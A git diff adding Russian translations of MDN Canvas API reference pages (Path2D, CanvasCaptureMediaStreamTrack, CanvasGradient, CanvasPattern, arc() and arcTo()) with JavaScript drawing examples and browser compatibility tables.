+<p>Как мы видели в последнем примере, есть серия путей и команд для рисования объектов на вашем холсте. Чтобы упростить код и повысить производительность, объект {{domxref("Path2D")}}, доступный в последних версиях браузеров, позволяет вам кэшировать или записывать эти команды рисования. Вы можете быстро запускать свои пути.<br>
+ Давайте посмотрим, как мы можем построить объект <code>Path2D</code> :</p>
+
+<dl>
+ <dt>{{domxref("Path2D.Path2D", "Path2D()")}}</dt>
+ <dd>Конструктор <code><strong>Path2D()</strong></code> возвращает вновь созданный объект <code>Path2D</code>  необязательно с другим путем в качестве аргумента (создает копию) или необязательно со строкой, состоящей из данных пути <a href="/en-US/docs/Web/SVG/Tutorial/Paths">SVG path</a> .</dd>
+</dl>
+
+<pre class="brush: js notranslate">new Path2D();     // пустой path объект
+new Path2D(path); // копирование из другого path
+new Path2D(d);    // path из SVG</pre>
+
+<p>Все  <a href="https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D#Paths">методы path</a> , такие как  <code>moveTo</code>,  <code>rect</code>,  <code>arc</code>, или <code>quadraticCurveTo</code>,  итп, которые мы уже знаем, доступны для объектов <code>Path2D</code></p>
+
+<p>API <code>Path2D</code> также добавляет способ комбинирования путей с использованием метода <code>addPath</code>. Это может быть полезно, если вы хотите, например, создавать объекты из нескольких компонентов.</p>
+
+<dl>
+ <dt>{{domxref("Path2D.addPath", "Path2D.addPath(path [, transform])")}}</dt>
+ <dd>Добавляет путь к текущему пути с необязательной матрицей преобразования.</dd>
+</dl>
+
+<h3 id="Path2D_пример">Path2D пример</h3>
+
+<p>В этом примере мы создаем прямоугольник и круг. Оба они сохраняются как объект <code>Path2D</code>, поэтому они доступны для последующего использования. С новым API <code>Path2D</code> несколько методов были обновлены, чтобы при необходимости принять объект <code>Path2D</code> для использования вместо текущего пути. Здесь <code>stroke</code> и <code>fill</code> используются с аргументом пути, например, для рисования обоих объектов на холст.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="130" height="100"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js;highlight[6,9] notranslate">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    var rectangle = new Path2D();
+    rectangle.rect(10, 10, 50, 50);
+
+    var circle = new Path2D();
+    circle.moveTo(125, 35);
+    circle.arc(100, 35, 25, 0, 2 * Math.PI);
+
+    ctx.stroke(rectangle);
+    ctx.fill(circle);
+  }
+}
+</pre>
+
+<p>{{EmbedLiveSample("Path2D_example", 130, 110, "https://mdn.mozillademos.org/files/9851/path2d.png")}}</p>
+
+<h3 id="Использование_SVG_путей">Использование SVG путей</h3>
+
+<p>Еще одна мощная функция нового Canvas <code>Path2D</code> API использует данные пути SVG, <a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Tutorial/Paths">SVG path data</a>, для инициализации путей на вашем холсте. Это может позволить вам передавать данные пути и повторно использовать их как в SVG, так и в холсте.</p>
+
+<p>Путь перемещается в точку (<code>M10 10</code>), а затем горизонтально перемещается на 80 пунктов вправо (<code>h 80</code>), затем на 80 пунктов вниз (<code>v 80</code>), затем на 80 пунктов влево (<code>h -80</code>), а затем обратно на start (<code>z</code>). <br>
+ Этот пример можно увидеть на странице  <a href="/en-US/docs/Web/API/Path2D.Path2D#Using_SVG_paths"><code>Path2D</code> constructor</a>.</p>
+
+<pre class="brush: js; notranslate">var p = new Path2D("M10 10 h 80 v 80 h -80 Z");</pre>
+
+<div>{{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_usage", "Web/API/Canvas_API/Tutorial/Applying_styles_and_colors")}}</div>
diff --git a/files/ru/web/api/canvascapturemediastreamtrack/index.html b/files/ru/web/api/canvascapturemediastreamtrack/index.html
new file mode 100644
index 0000000000..9705e65314
--- /dev/null
+++ b/files/ru/web/api/canvascapturemediastreamtrack/index.html
@@ -0,0 +1,61 @@
+---
+title: CanvasCaptureMediaStreamTrack
+slug: Web/API/CanvasCaptureMediaStreamTrack
+translation_of: Web/API/CanvasCaptureMediaStreamTrack
+---
+<div>{{APIRef ("захват мультимедиа и потоки")}}</div>
+
+<p><span class="seoSummary"><strong><code>CanvasCaptureMediaStreamTrack</code></strong>Интерфейс представляет собой видеодорожку, содержащуюся в {{domxref ("MediaStream")}}, генерируемую из {{HTMLElement ("canvas")}} после вызова {{domxref ("HTMLCanvasElement.captureStream ()")}}.</span></p>
+
+<p>Часть <a href="/en-US/docs/Web/API/Media_Streams_API">API захвата мультимедиа и потоков</a>.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Этот интерфейс наследует свойства своего родителя, {{domxref ("MediaStreamTrack")}}.</em></p>
+
+<dl>
+ <dt>{{domxref ("CanvasCaptureMediaStreamTrack.холст")}} {{readonlyInline}}</dt>
+ <dd>Возвращает объект {{domxref ("HTMLCanvasElement")}}, поверхность которого захватывается в режиме реального времени.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Этот интерфейс наследует методы своего родителя, {{domxref ("MediaStreamTrack")}}.</em></p>
+
+<dl>
+ <dt>{{domxref ("CanvasCaptureMediaStreamTrack.requestFrame()")}}</dt>
+ <dd>Вручную заставляет кадр быть захваченным и отправленным в поток. Это позволяет приложениям, которые хотят непосредственно указать время захвата кадра, сделать это, если они указали a <code>frameRate</code>из 0 при вызове {{domxref ("HTMLCanvasElement.captureStream", " captureStream ()")}}.</dd>
+</dl>
+
+<h2 id="Технические_характеристики">Технические характеристики</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName ('Media Capture DOM Elements', '#the-canvascapturemediastreamtrack', 'CanvasCaptureMediaStreamTrack')}}</td>
+   <td>{{Spec2 ('Media Captiondom Elements')}}</td>
+   <td>Исходное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<div>
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data </a>и пошлите нами запрос тяги.</div>
+
+<p>{{Compat ("api.CanvasCaptureMediaStreamTrack")}}</p>
+</div>
+
+<h2 id="Смотреть_также">Смотреть также</h2>
+
+<ul>
+ <li>{{domxref ("HTMLCanvasElement.captureStream ()")}} чтобы начать захват кадров с холста</li>
+</ul>
diff --git a/files/ru/web/api/canvasgradient/index.html b/files/ru/web/api/canvasgradient/index.html
new file mode 100644
index 0000000000..19b1442641
--- /dev/null
+++ b/files/ru/web/api/canvasgradient/index.html
@@ -0,0 +1,110 @@
+---
+title: CanvasGradient
+slug: Web/API/CanvasGradient
+tags:
+  - API
+  - Canvas
+  - CanvasGradient
+  - Градиенты
+  - Интерфейс
+  - Справка
+translation_of: Web/API/CanvasGradient
+---
+<div>{{APIRef("Canvas API")}}</div>
+
+<p>Интерфейс <code><strong>CanvasGradient</strong></code> <span id="result_box" lang="ru"><span>представляет собой</span> <span>непрозрачный</span> <span>объект, описывающий</span> <span>градиент</span><span>.</span> <span>Он возвращается</span> <span>методами</span></span> {{domxref("CanvasRenderingContext2D.createLinearGradient()")}} и {{domxref("CanvasRenderingContext2D.createRadialGradient()")}}.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Representing an opaque object, there is no exposed property.</em></p>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Не имеет наследованных методов.</em></p>
+
+<dl>
+ <dt>{{domxref("CanvasGradient.addColorStop()")}}</dt>
+ <dd>Добавляет в градиент новый маркер, определяемый смещенем и цветом. <code>Если смещение входдит за пределы 0</code> и <code>1</code>, генерируется <code>INDEX_SIZE_ERR</code>. Если не удааётся обработать цвет как CSS {{cssxref("&lt;color&gt;")}}, генерируется <code>SYNTAX_ERR</code>.</dd>
+</dl>
+
+<h2 id="Характеристики"><span class="short_text" id="result_box" lang="ru"><span>Характеристики</span></span></h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"><span class="short_text" id="result_box" lang="ru"><span>Характеристика</span></span></th>
+   <th scope="col">Состояние</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "the-canvas-element.html#canvasgradient", "CanvasGradient")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами"><span class="short_text" id="result_box" lang="ru"><span>Совместимость с браузерами</span></span></h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>4.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}} [1]</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>3.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>2.1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.9.2")}} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.0</td>
+   <td>3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] До Gecko 5.0, (Firefox 5.0 / Thunderbird 5.0 / SeaMonkey 2.2), указание некорректных значений при добавлении цветовых маркеров при вызове <code>addColorStop()</code> генерирует <code>SYNTAX_ERR</code> вместо <code>INDEX_SIZE_ERR</code>.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Методы создания в {{domxref("CanvasRenderingContext2D")}}.</li>
+ <li>Элемент {{HTMLElement("canvas")}} и сзвязанный с ним интерфейс {{domxref("HTMLCanvasElement")}}.</li>
+</ul>
diff --git a/files/ru/web/api/canvaspattern/index.html b/files/ru/web/api/canvaspattern/index.html
new file mode 100644
index 0000000000..9fc236b00a
--- /dev/null
+++ b/files/ru/web/api/canvaspattern/index.html
@@ -0,0 +1,59 @@
+---
+title: CanvasPattern
+slug: Web/API/CanvasPattern
+translation_of: Web/API/CanvasPattern
+---
+<div>{{APIRef("Canvas API")}}</div>
+
+<p><code><strong>CanvasPattern</strong></code> представляет собой интерфейс <a href="https://en.wikipedia.org/wiki/Opaque_data_type">непрозрачного объекта</a>, описывающего шаблон, который может быть представлен как картинка, canvas или видео.</p>
+
+<p><code><strong>CanvasPattern</strong></code> создаётся с помощью метода {{domxref("CanvasRenderingContext2D.createPattern()")}}.</p>
+
+<p>Может быть использован как {{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle")}} или {{domxref("CanvasRenderingContext2D.strokeStyle", "strokeStyle")}}.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Не имеет доступных свойств.</em></p>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Не имеет унаследованных методов.</em></p>
+
+<dl>
+ <dt>{{domxref("CanvasPattern.setTransform()")}} {{experimental_inline}}</dt>
+ <dd>Используется в качестве {{domxref("SVGMatrix")}} представления линейной трансформации.</dd>
+</dl>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "the-canvas-element.html#canvaspattern", "CanvasPattern")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Метод <code>setTransform()</code> добавлен в v5.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<div>
+
+
+<p>{{Compat("api.CanvasPattern")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("CanvasRenderingContext2D.createPattern()")}}</li>
+ <li>{{HTMLElement("canvas")}} тег и связанный с ним интерфейс - {{domxref("HTMLCanvasElement")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/arc/index.html b/files/ru/web/api/canvasrenderingcontext2d/arc/index.html
new file mode 100644
index 0000000000..b6ab5c6600
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/arc/index.html
@@ -0,0 +1,226 @@
+---
+title: CanvasRenderingContext2D.arc()
+slug: Web/API/CanvasRenderingContext2D/arc
+tags:
+  - API
+  - Рисование
+  - Рисование в 2d
+  - Функция
+  - Холст
+  - метод
+translation_of: Web/API/CanvasRenderingContext2D/arc
+---
+<div>{{APIRef}}</div>
+
+<p><code><strong>CanvasRenderingContext2D</strong></code><strong><code>.arc()</code></strong> метод Canvas 2D API добавляет дугу к пути с центром <em>(x, y)</em> и с радиусом <em>r</em>  с началом в <em>startAngle</em> и с концом <em>endAngle</em> и с направлением против часовой стрелки (по умолчанию по часовой стрелке).</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.arc(x, y, radius, startAngle, endAngle, anticlockwise);</var>
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>X координата центра дуги.</dd>
+ <dt><code>y</code></dt>
+ <dd>Y координата центра дуги.</dd>
+ <dt><code>radius</code></dt>
+ <dd>Радиус.</dd>
+ <dt><code>startAngle</code></dt>
+ <dd>Угол начала дуги. Измеряется по часовой стрелке от положительной оси Х, выражается в радианах.</dd>
+ <dt><code>endAngle</code></dt>
+ <dd>Угол завершения дуги. Измеряется по часовой стрелке от положительной оси Х, выражается в радианах.</dd>
+ <dt><code>anticlockwise</code> {{optional_inline}}</dt>
+ <dd>Необязательный {{jsxref("Boolean")}}. Задаёт направление рисования дуги.<br>
+ Если <code>true</code> - против часовой, <code>false</code> - по часовой.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Using_the_arc_method" name="Using_the_arc_method">Использование метода <code>arc</code></h3>
+
+<p>Ниже приведен пример простого кода который рисует круг.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.beginPath();
+ctx.arc(75, 75, 50, 0, 2 * Math.PI);
+ctx.stroke();
+</pre>
+
+<p>Вы можете редактировать код, представленный ниже, и сделанные вами изменения отобразятся на холсте в режиме реального времени (убедитесь, что вы используете браузер, поддерживающий данное свойство - смотрите таблицу совместимости):</p>
+
+<div style="display: none;">
+<h6 id="Playable_code" name="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.beginPath();
+ctx.arc(50, 50, 50, 0, 2 * Math.PI, false);
+ctx.stroke();&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h3 id="Different_shapes_demonstrated" name="Different_shapes_demonstrated">Демонстрация разных форм дуг</h3>
+
+<p>В этом примере нарисованные разные формы чтобы показать возможности метода <code>arc()</code>.</p>
+
+<div style="display: none;">
+<h6 id="HTML_2">HTML</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="200"&gt;&lt;/canvas&gt;
+</pre>
+
+<h6 id="JavaScript_2">JavaScript</h6>
+</div>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+// Draw shapes
+for (i=0;i&lt;4;i++){
+  for(j=0;j&lt;3;j++){
+    ctx.beginPath();
+    var x              = 25+j*50;               // x coordinate
+    var y              = 25+i*50;               // y coordinate
+    var radius         = 20;                    // Arc radius
+    var startAngle     = 0;                     // Starting point on circle
+    var endAngle       = Math.PI+(Math.PI*j)/2; // End point on circle
+    var anticlockwise  = i%2==1;                // Draw anticlockwise
+
+    ctx.arc(x,y,radius,startAngle,endAngle, anticlockwise);
+
+    if (i&gt;1){
+      ctx.fill();
+    } else {
+      ctx.stroke();
+    }
+  }
+}</pre>
+
+<p>{{ EmbedLiveSample('Different_shapes_demonstrated', 160, 210, "https://mdn.mozillademos.org/files/204/Canvas_arc.png") }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-arc", "CanvasRenderingContext2D.arc")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Примечания_относительно_Gecko">Примечания относительно Gecko</h2>
+
+<p>Начиная с Gecko 2.0 {{geckoRelease("2.0")}}:</p>
+
+<ul>
+ <li><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Параметр </span></font><code>anticlockwise</code> опциональный,</li>
+ <li>Указывание отрицательного радиуса теперь приводит к ошибке {{domxref("DOMError", "IndexSizeError")}} error ("Index or size is negative or greater than the allowed amount").</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс <code>Canvas</code>, {{domxref("CanvasRenderingContext2D")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/arcto/index.html b/files/ru/web/api/canvasrenderingcontext2d/arcto/index.html
new file mode 100644
index 0000000000..53a13ff758
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/arcto/index.html
@@ -0,0 +1,256 @@
+---
+title: CanvasRenderingContext2D.arcTo()
+slug: Web/API/CanvasRenderingContext2D/arcTo
+tags:
+  - API
+  - Canvas
+  - Method
+translation_of: Web/API/CanvasRenderingContext2D/arcTo
+---
+<div>{{APIRef}}</div>
+
+<p>В Canvas 2D API есть метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.arcTo()</code></strong>. Он добавляет дугу к контуру (path) с заданными контрольными точками и радиусом, соединяя их прямой линией с предыдущей точкой контура.</p>
+
+<p>Обычно метод используется для скругления углов.</p>
+
+<div class="blockIndicator note">
+<p><strong>Примечание:</strong> Помните, что вы можете получить неожиданный результат при использовании большого радиуса: соединтельная линия дуги будет идти в любом направлении, в котором она должна соответствовать указанному радиусу.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.arcTo(x1, y1, x2, y2, radius);</var>
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>x1</code></dt>
+ <dd>Координата <u>x</u> первой контрольной точки.</dd>
+ <dt><code>y1</code></dt>
+ <dd>Координата <u>y</u> первой контрольной точки.</dd>
+ <dt><code>x2</code></dt>
+ <dd>Координата <u>x</u> второй контрольной точки.</dd>
+ <dt><code>y2</code></dt>
+ <dd>Координата <u>y</u> второй контрольной точки.</dd>
+ <dt><code>radius</code></dt>
+ <dd>Радиус дуги. Не может быть отрицательным.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Как_работает_arcTo">Как работает arcTo</h3>
+
+<p>Один из способов понять как работает <code>arcTo()</code> - представить две прямые линии: одна идёт от начальной точки к первой контрольной точке, а вторая от этой точки до второй контрольной точки. Без <code>arcTo()</code> эти два сегмента образовали бы остый угол: <code>arcTo()</code> cоздаёт дугу между этими двумя точками и сглаживает его. Другими словами, дуга является касательной для обеих линий.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+// Касательная линия
+ctx.beginPath();
+ctx.strokeStyle = 'gray';
+ctx.moveTo(200, 20);
+ctx.lineTo(200, 130);
+ctx.lineTo(50, 20);
+ctx.stroke();
+
+// Дуга
+ctx.beginPath();
+ctx.strokeStyle = 'black';
+ctx.lineWidth = 5;
+ctx.moveTo(200, 20);
+ctx.arcTo(200,130, 50,20, 40);
+ctx.stroke();
+
+// Начальная точка
+ctx.beginPath();
+ctx.fillStyle = 'blue';
+ctx.arc(200, 20, 5, 0, 2 * Math.PI);
+ctx.fill();
+
+// Контрольные точки
+ctx.beginPath();
+ctx.fillStyle = 'red';
+ctx.arc(200, 130, 5, 0, 2 * Math.PI); // Первая контрольная точка
+ctx.arc(50, 20, 5, 0, 2 * Math.PI);   // Вторая контрольная точка
+ctx.fill();</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>В этом примере контур, созданный с помощью <code>arcTo()</code> <strong>жирный и чёрный</strong>. <span style="color: gray;">Касательная линия серия</span>, <span style="color: red;">контрольные точки красные</span>, а <span style="color: blue;">начальная точка синяя</span>. </p>
+
+<p>{{ EmbedLiveSample('Как_работает_arcTo', 315, 165) }}</p>
+
+<h3 id="Создание_скругленного_угла">Создание скругленного угла</h3>
+
+<p>В этом примере создаётся скруглённый угол с использованием <code>arcTo()</code>. Это ещё один метод, который часто используется.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;</pre>
+
+<h4 id="JavaScript_2">JavaScript</h4>
+
+<p>Дуга начинается в точке, заданной в <code>moveTo()</code>: (230, 20). Она сформирована так, чтобы соответствовать точкам на (90, 130) и (20, 20) с радиусом 50. Метод <code>lineTo()</code> соединяет дугу с (20, 20) прямой линией. Заметьте, что вторая контрольная точка дуги и точка, заданная в <code>lineTo()</code> одинаковые, что создаёт абсолютно гладкий угол.</p>
+
+<pre class="brush: js">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+const p0 = { x: 230, y: 20  }
+const p1 = { x: 90,  y: 130 }
+const p2 = { x: 20,  y: 20  }
+
+const labelPoint = function (p) {
+  const offset = 15;
+  ctx.fillText('(' + p.x + ',' + p.y + ')', p.x + offset, p.y + offset);
+}
+
+ctx.beginPath();
+ctx.moveTo(p0.x, p0.y);
+ctx.arcTo(p1.x, p1.y, p2.x, p2.y, 50);
+ctx.lineTo(p2.x, p2.y);
+
+labelPoint(p0);
+labelPoint(p1);
+labelPoint(p2);
+
+ctx.stroke();</pre>
+
+<h4 id="Результат_2">Результат</h4>
+
+<p>{{ EmbedLiveSample('Создание_скругленного_угла', 315, 165) }}</p>
+
+<h3 id="Результат_с_большим_радиусом">Результат с большим радиусом</h3>
+
+<p>Если вы используете относительно большой радиус, дуга может появиться в том месте, где вы её не ожидаете. В данном примере соединительная линия дуги идёт вверху, а не внизу. Это происходит потому что радиус слишком большой, чтобы уместить дугу между точками.</p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;</pre>
+
+<h4 id="JavaScript_3">JavaScript</h4>
+
+<pre class="brush: js">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.beginPath();
+ctx.moveTo(180, 90);
+ctx.arcTo(180,130, 110,130, 130);
+ctx.lineTo(110, 130);
+ctx.stroke();</pre>
+
+<h4 id="Результат_3">Результат</h4>
+
+<p>{{ EmbedLiveSample('Результат_с_большим_радиусом', 315, 165) }}</p>
+
+<h3 id="Живая_демонстрация">Живая демонстрация</h3>
+
+<p>Более сложная демонстрация метода. Вы можете поиграть с диапазоном ввода, чтобы увидеть, как изменяется дуга.</p>
+
+<h4 id="HTML_4">HTML</h4>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;label for="radius"&gt;Radius: &lt;/label&gt;
+  &lt;input name="radius"  type="range" id="radius" min=0 max=100 value=50&gt;
+  &lt;label for="radius"  id="radius-output"&gt;50&lt;/label&gt;
+&lt;/div&gt;
+&lt;canvas id="canvas"&gt;&lt;/canvas&gt;</pre>
+
+<h4 id="JavaScript_4">JavaScript</h4>
+
+<pre class="brush: js">const canvas = document.getElementById('canvas');
+const ctx    = canvas.getContext('2d');
+
+const controlOut = document.getElementById('radius-output');
+const control    = document.getElementById('radius');
+      control.oninput = () =&gt; {
+          controlOut.textContent = r = control.value;
+      };
+
+const mouse = { x: 0, y: 0 };
+
+let   r  = 100; // Radius
+const p0 = { x: 0, y: 50 };
+
+const p1 = { x: 100, y: 100 };
+const p2 = { x: 150, y: 50 };
+const p3 = { x: 200, y: 100 };
+
+const labelPoint = function (p, offset, i = 0){
+    const {x, y} = offset;
+    ctx.beginPath();
+    ctx.arc(p.x, p.y, 2, 0, Math.PI * 2);
+    ctx.fill();
+    ctx.fillText(`${i}:(${p.x}, ${p.y})`, p.x + x, p.y + y);
+}
+
+const drawPoints = function (points){
+  for (let i = 0; i &lt; points.length; i++) {
+    var p = points[i];
+    labelPoint(p, { x: 0, y: -20 } , i)
+  }
+}
+
+// Draw arc
+const drawArc = function ([p0, p1, p2], r) {
+  ctx.beginPath();
+  ctx.moveTo(p0.x, p0.y);
+  ctx.arcTo(p1.x, p1.y, p2.x, p2.y, r);
+  ctx.lineTo(p2.x, p2.y);
+  ctx.stroke();
+}
+
+
+let t0 = 0;
+let rr = 0; // радиус, который меняется со временем
+let a  = 0; // angle
+let PI2 = Math.PI * 2;
+const loop = function (t) {
+  t0 = t / 1000;
+  a  = t0 % PI2;
+  rr = Math.abs(Math.cos(a) * r);
+
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+
+  drawArc([p1, p2, p3], rr);
+  drawPoints([p1, p2, p3]);
+  requestAnimationFrame(loop);
+}
+
+loop(0);</pre>
+
+<h4 id="Результат_4">Результат</h4>
+
+<p>{{EmbedLiveSample('Живая_демонстрация', 315, 200) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-arcto", "CanvasRenderingContext2D.arcTo")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{Compat("api.CanvasRenderingContext2D.arcTo")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Элемент определяющий этот метод, {{domxref("CanvasRenderingContext2D")}}</li>
+</ul>
